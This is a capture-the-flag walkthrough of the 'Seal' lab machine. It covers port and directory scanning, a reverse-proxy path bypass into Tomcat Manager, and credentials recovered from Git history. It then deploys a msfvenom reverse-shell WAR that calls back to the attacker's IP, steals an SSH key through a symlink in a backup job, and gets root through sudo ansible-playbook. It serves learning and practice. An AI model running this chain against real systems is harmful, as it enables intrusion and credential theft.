Seal

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.250 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.92 scan initiated Mon Jul  4 16:57:22 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.250
Nmap scan report for 10.10.10.250
Host is up (0.060s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
443/tcp  open  https
8080/tcp open  http-proxy

# Nmap done at Mon Jul  4 16:57:37 2022 -- 1 IP address (1 host up) scanned in 14.95 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80 10.10.10.250 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.92 scan initiated Mon Jul  4 16:58:11 2022 as: nmap -sCV -p22,443,8080 -oN targeted 10.10.10.250
Nmap scan report for 10.10.10.250
Host is up (0.082s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Mon, 04 Jul 2022 14:58:22 GMT
|     Set-Cookie: JSESSIONID=node01ov21l8d86r521soe4c1o50y3u2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Mon, 04 Jul 2022 14:58:21 GMT
|     Set-Cookie: JSESSIONID=node02x58o46fd8601lk88x0ojal6z0.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Mon, 04 Jul 2022 14:58:21 GMT
|     Set-Cookie: JSESSIONID=node0evirwrkehei919ps6nkmve2151.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4: 
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5: 
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.92%I=7%D=7/4%Time=62C3000C%P=x86_64-pc-linux-gnu%r(Get
SF:Request,F4,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Mon,\x2004\x20
SF:Jul\x202022\x2014:58:21\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node02x58o4
SF:6fd8601lk88x0ojal6z0\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,
SF:\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html;
SF:charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,108,"HTTP
SF:/1\.1\x20200\x20OK\r\nDate:\x20Mon,\x2004\x20Jul\x202022\x2014:58:21\x2
SF:0GMT\r\nSet-Cookie:\x20JSESSIONID=node0evirwrkehei919ps6nkmve2151\.node
SF:0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x200
SF:0:00:00\x20GMT\r\nContent-Type:\x20text/html;charset=utf-8\r\nAllow:\x2
SF:0GET,HEAD,POST,OPTIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,
SF:AD,"HTTP/1\.1\x20505\x20Unknown\x20Version\r\nContent-Type:\x20text/htm
SF:l;charset=iso-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20close\r
SF:\n\r\n<h1>Bad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Version<
SF:/pre>")%r(FourOhFourRequest,F5,"HTTP/1\.1\x20401\x20Unauthorized\r\nDat
SF:e:\x20Mon,\x2004\x20Jul\x202022\x2014:58:22\x20GMT\r\nSet-Cookie:\x20JS
SF:ESSIONID=node01ov21l8d86r521soe4c1o50y3u2\.node0;\x20Path=/;\x20HttpOnl
SF:y\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nConten
SF:t-Type:\x20text/html;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(
SF:Socks5,C3,"HTTP/1\.1\x20400\x20Illegal\x20character\x20CNTL=0x5\r\nCont
SF:ent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\x2069\r\nC
SF:onnection:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x
SF:20Illegal\x20character\x20CNTL=0x5</pre>")%r(Socks4,C3,"HTTP/1\.1\x2040
SF:0\x20Illegal\x20character\x20CNTL=0x4\r\nContent-Type:\x20text/html;cha
SF:rset=iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r\n\r\
SF:n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20character\x20
SF:CNTL=0x4</pre>")%r(RPCCheck,C7,"HTTP/1\.1\x20400\x20Illegal\x20characte
SF:r\x20OTEXT=0x80\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nCon
SF:tent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x2
SF:0400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pre>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul  4 16:58:32 2022 -- 1 IP address (1 host up) scanned in 21.50 seconds

If we take a look at the HTTPS server, we'll see a static website with no functionality.

Let's do some fuzzing and see if there are any subdirectories.

gobuster dir -u https://10.10.10.250/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -k

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -k skip TLS certificate verification.

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://10.10.10.250/
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/07/04 20:55:01 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 302) [Size: 0] [--> http://10.10.10.250/images/]
/admin                (Status: 302) [Size: 0] [--> http://10.10.10.250/admin/] 
/icon                 (Status: 302) [Size: 0] [--> http://10.10.10.250/icon/]  
/css                  (Status: 302) [Size: 0] [--> http://10.10.10.250/css/]   
/js                   (Status: 302) [Size: 0] [--> http://10.10.10.250/js/]    
/manager              (Status: 302) [Size: 0] [--> http://10.10.10.250/manager/]
/http%3A%2F%2Fwww     (Status: 400) [Size: 813]                                 
/http%3A%2F%2Fyoutube (Status: 400) [Size: 813]                                 
/http%3A%2F%2Fblogs   (Status: 400) [Size: 813]                                 
/http%3A%2F%2Fblog    (Status: 400) [Size: 813]                                 
/**http%3A%2F%2Fwww   (Status: 400) [Size: 813]                                 
                                                                                
===============================================================
2022/07/04 20:56:04 Finished
===============================================================

It looks like there is running a Tomcat server. But the problem is that if we try to access /manager/html, we'll get redirected to an HTTP server, which doesn't exist.

curl -I -k 'https://10.10.10.250/manager/html'

  • -I fetch the HTTP headers only.

  • -k proceed for server connections considered insecure.

HTTP/1.1 302 
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 04 Jul 2022 19:04:11 GMT
Content-Type: text/html
Connection: keep-alive
Location: http://10.10.10.250/manager/html

But, as we can see with the Wappalyzer extension, there is a reverse proxy with nginx.

Wappalyzer is a browser extension capable of detecting the technology stack of any website. It reveals the technology stack of any website, such as CMS, ecommerce platform or payment processor, as well as company and contact details.

https://www.wappalyzer.com/

Exploitation

As Orange Tsai explained in his BlackHat 2018 presentation called Breaking Parser Logic!, we can bypass this reverse proxy. If we search for /manager;name=orange/html we'll be able to see the login popup.

https://10.10.10.250/manager;name=orange/html

But we don't have credentials. Let's take a look at the website on port 8080.

It is a GitBucket server. Let's create a new account.

Then, log in.

First thing we see, is that there are two repositories called seal_marked, and infra.

If we take a look at the seal_market repository, we'll see the app, nginx and tomcat directories.

Let's see if there is the common file tomcat-users.xml file, which usually contains credentials.

But, if we check it's content, we won't see any credentials.

But we can check previous commits. Let's click on History.

And there are two commits.

If we take a look at the last commit, we'll finally see some credentials.

Let's try those credentials on the /manager;name=orange/html login panel.

And we get in the Tomcat Web Application Manager.

Time to get a shell. If we check out the web page, we could see there is a Deploy section in which we can upload WAR files.

The following link explains what WAR files are:

http://java.boot.by/wcd-guide/ch02s04.html

At this point, the idea is to create a WAR payload with msfvenom, upload it to the web page, and get a reverse shell.

msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.15 lport=4444 -f war -o reverse_shell.war

  • -p indicates the type of payload.

  • lhost local host IP.

  • lport local port of the listener.

  • -f output format.

  • -o save the output to a file.

All we have to do is upload the payload and hit Deploy.

Under the Application section, a new row should appear with the path of our uploaded payload.

Finally, all we have to do is set a netcat listener on port 4444 and hit the /reverse_shell path.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

listening on [any] 4444 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.250] 35626
whoami
tomcat

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

51 236

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

As the flag is under the /home/luis directory, we will have to become the luis user.

find / -name user.txt 2>/dev/null

/home/luis/user.txt

Doing some enumeration, you'll find the /opt/backups directory.

ls -l /opt/backups

total 8
drwxrwxr-x 2 luis luis 4096 Jul  4 19:46 archives
drwxrwxr-x 2 luis luis 4096 May  7  2021 playbook

Under the playbook/ directory, we'll find the run.yml file with some content.

cat /opt/backups/playbook/run.yml

- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

So, it looks like there is some scheduled job doing a copy of the /var/lib/tomcat9/webapps/ROOT/admin/dashboard into the /opt/backups/files directory. Then, the script compress that directory into a file under the /opt/backups/archives directory. Finally, it removes the /opt/backups/files directory. Let's take a look at the directory that is being compressed.

ls -l /var/lib/tomcat9/webapps/ROOT/admin/dashboard

total 92
drwxr-xr-x 5 root root  4096 Mar  7  2015 bootstrap
drwxr-xr-x 2 root root  4096 Mar  7  2015 css
drwxr-xr-x 4 root root  4096 Mar  7  2015 images
-rw-r--r-- 1 root root 71744 May  6  2021 index.html
drwxr-xr-x 4 root root  4096 Mar  7  2015 scripts
drwxrwxrwx 2 root root  4096 May  7  2021 uploads

And it looks like we have full permissions on the uploads directory. We could make a symbolic link from that directory to the home directory of the luis user. So then we can decompress the compressed file and see what's on his home directory.

cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard

ln -s -f /home/luis uploads

Now, we wait, and then copy the last compressed file inside the /opt/backups/archives to the /tmp directory.

cp /opt/backups/archives/backup-2022-07-04-19:57:33.gz /tmp/

Now, let's go to the /tmp directory, and decompress the file.

gunzip backup-2022-07-04-19:57:33.gz

Now we have the backup-2022-07-04-19:57:33 file. We can see that it is a tar file.

file backup-2022-07-04-19:57:33

backup-2022-07-04-19:57:33: POSIX tar archive

Let's rename it to backup.tar, and then decompress it again.

mv backup-2022-07-04-19:57:33 backup.tar

tar -xvf backup.tar

Finally, we see the dashboard/uploads directory with the luis home folder in it.

ls -l dashboard/uploads/

total 4
drwxr-x--- 9 tomcat tomcat 4096 May  7  2021 luis

Inside it, we'll see the id_rsa private key.

cat dashboard/uploads/luis/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
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
u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE=
-----END OPENSSH PRIVATE KEY-----

Let's copy it to the id_rsa file on our local machine. And give it the right permissions.

nano id_rsa

chmod 600 id_rsa

Now, we can become the luis user via SSH without the need of his password. Then we'll be able to grab the user flag.

ssh -i id_rsa luis@10.10.10.250

Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 04 Jul 2022 08:08:51 PM UTC

  System load:           0.09
  Usage of /:            49.8% of 9.58GB
  Memory usage:          24%
  Swap usage:            0%
  Processes:             159
  Users logged in:       0
  IPv4 address for eth0: 10.10.10.250
  IPv6 address for eth0: dead:beef::250:56ff:feb9:8a30

 * Pure upstream Kubernetes 1.21, smallest, simplest cluster ops!

     https://microk8s.io/

22 updates can be applied immediately.
15 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Jul  4 18:40:35 2022 from 10.10.14.15
luis@seal:~$ whoami
luis
luis@seal:~$ cat user.txt 
260510291761e244bbad03ca41286c7b

Let's list the sudo privileges.

sudo -l

Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *

We can run ansible-playbook as root. If we search for that tool on the GTFOBins list, we'll see that we can get a shell as the root user.

GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions.

https://gtfobins.github.io/

TF=$(mktemp)

echo '[{hosts: localhost, tasks: [shell: /bin/bash </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF

Finally, if we execute the following command, we'll get a shell as the root user, and then all we have to do is reap the harvest and take the root flag.

sudo ansible-playbook $TF

[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not
match 'all'

PLAY [localhost] ****************************************************************************************************

TASK [Gathering Facts] **********************************************************************************************
ok: [localhost]

TASK [shell] ********************************************************************************************************
root@seal:/tmp# whoami
root
root@seal:/tmp# cat /root/root.txt 
8209e4fea10d7940063992a85c67604c

Last updated

Was this helpful?